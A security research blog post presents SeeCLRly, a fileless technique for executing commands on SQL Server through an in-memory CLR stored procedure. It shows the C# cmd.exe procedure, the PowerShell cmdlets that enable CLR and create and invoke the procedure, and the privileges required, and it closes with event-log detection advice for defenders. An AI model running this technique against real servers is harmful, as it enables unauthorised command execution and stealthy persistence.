SeeCLRly – Fileless SQL Server CLR-based Custom Stored Procedure Command Execution

In my previous post, I demonstrated how it was possible to execute custom C# code via the creation of a custom CLR stored procedure on a target SQL Server, entirely in memory. In this post I will provide and discuss a working command execution PowerShell script for this technique and possible ways to mitigate it.

First a bit of background. Command execution via SQL Server is inherently possible via the built-in extended stored procedure xp_cmdshell. However, this method is well known and typically disabled on a production system. Blue teams will often monitor the enabling of the procedure, for example through the following event log:

The creation of custom stored procedures in order to replicate the functionality of xp_cmdshell is also a known tactic, as shown by the PowerUpSQL command Create-SQLFileXpDll. However, this requires writing a file to the disk of the victim SQL server, a “noisy” tactic that could potentially alert an experienced blue team.

The SeeCLRly technique overcomes this limitation by loading a Dot Net assembly directly into the memory of a SQL Server, without touching the disk. SeeCLRly is a PowerShell module that consists of the following cmdlets:

  • New-CLRProcedure – This cmdlet enables CLR stored procedures on the SQL Server, reconfigures it, loads the Dot Net assembly into memory, then creates a stored procedure from the loaded assembly.
  • Invoke-CmdExec – This cmdlet passes a specified command to the previously created stored procedure, where it is then executed.

The following requirements must be met before the technique will work:

  • The account used to execute the New-CLRProcedure cmdlet must have the sysadmin privilege in order to enable CLR stored procedures.
  • The database upon which the technique is executed must have the TRUSTWORTHY property set the TRUE. The built-in database “msdb” has this set by default, and thus is used by the cmdlets.

That’s it! For more information about how to obtain access to a service account with the privileges necessary, check out harmj0y’s blog and the Kerberoasting attack. Now, let’s get into the code behind the technique. The following is the C# code for the Dot Net assembly that will be loaded into the memory of the SQL Server:

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void cmd_exec (SqlString execCommand)
{
Process proc = new Process();
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = true;
proc.Start();
proc.WaitForExit();
proc.Close();
}
};

This code will spawn a cmd.exe process, and pass the execCommand SqlString parameter to it. The execCommand parameter will be derived from the SQL query that is sent from the Invoke-CmdExec cmdlet. This code was compiled in Visual Studio, producing the Dot Net assembly CIL bytestream that will be loaded into memory (see the previous blog post for more information). You can find a link to the VirusTotal result for the resulting binary here. Now let’s take a look at a portion the first cmdlet, New-CLRProcedure:

$Queries = 'sp_configure @configname=clr_enabled, @configvalue=1;', 'RECONFIGURE;', 'CREATE ASSEMBLY [execcmdasm] AUTHORIZATION [dbo] FROM 0x4D5A90[...snip...]00 WITH PERMISSION_SET = UNSAFE;', 'CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (MAX) AS EXTERNAL NAME [execcmdasm].[StoredProcedures].[cmd_exec];'
$Conn = New-Object System.Data.SQLClient.SQLConnection
$ConnString = "Server='$Server';Database='$Database';"
$Conn.ConnectionString = $ConnString
$Conn.Open()
$Handler = [System.Data.SqlClient.SqlInfoMessageEventHandler] {param($sender, $event) Write-Host $event.Message }
$Conn.add_InfoMessage($Handler);
$Conn.FireInfoMessageEventOnUserErrors = $true;
foreach ($Query in $Queries)
{
$SqlCmd = New-Object System.Data.SQLClient.SQLCommand
$SqlCmd.Connection = $Conn
$SqlCmd.CommandText = $Query
$SqlCmd.ExecuteScalar()
}
$Conn.Close()

This cmdlet will execute four queries in sequence:enable CLR stored procedures, apply the change, load the Dot Net assembly into memory, and create the stored procedure from the loaded assembly. A handle is also created to catch the messages that result from these queries, including errors. Interestingly, only the first informational message is displayed, however all errors will be caught. For example, these errors were caught when attempting to run the New-CLRProcedure cmdlet when the SQL Server already contains a stored procedure with the same name:

Finally, let’s take a look at the code for the cmdlet that actually executes commands, Invoke-CmdExec:

...
[Parameter(Mandatory=$true)][string]$Command,
...
$Query = "EXEC [dbo].[cmd_exec] '$Command';"
$Conn = New-Object System.Data.SQLClient.SQLConnection
$ConnString = "Server='$Server';Database='$Database';"
$Conn.ConnectionString = $ConnString
$Conn.Open()
$Handler = [System.Data.SqlClient.SqlInfoMessageEventHandler] {param($sender, $event) Write-Host $event.Message }
$Conn.add_InfoMessage($Handler);
$Conn.FireInfoMessageEventOnUserErrors = $true;
$SqlCmd = New-Object System.Data.SQLClient.SQLCommand
$SqlCmd.Connection = $Conn
$SqlCmd.CommandText = $Query
$SqlCmd.ExecuteScalar()
$Conn.Close()

The command is first passed as a parameter to the cmdlet, which is then passed as a parameter to SQL query, which is then executed by the previously created stored procedure. Whew! It appears that all characters are escaped correctly, as long as you use double quotes around the command to be executed:

Note that command execution is entirely asynchronous, and no standard output or errors are returned to the user. If you can think of a way to accomplish this, please let me know!

Now that we’ve discussed the technique, let’s cover ways for blue teams to detect the attack. The most viable method is similar to how use of xp_cmdshell is detected: monitor for the event log that is created when CLR procedures are enabled. An example of the event log is shown here:

This is assuming that CLR procedures are not enabled (which is the default). If CLR procedures are already enabled, say because they are used by a DBA for some reason, then detection becomes significantly harder.

In summary, while it is common for the stored procedure xp_cmdshell to be monitored by a blue team, a sophisticated attacker can use this technique to execute commands in a similar manner. Therefore, the enabling of CLR stored procedures on a SQL Server deserves the same level of monitoring as the enabling of xp_cmdshell.

Also, I am pleased to announce that this research will be incorporated into Metasploit as module! You can check it out on GitHub. You can find the SeeCLRly PowerShell module I developed here.

Acknowledgements:

4 thoughts on “SeeCLRly – Fileless SQL Server CLR-based Custom Stored Procedure Command Execution”

Leave a Reply

Your email address will not be published. Required fields are marked *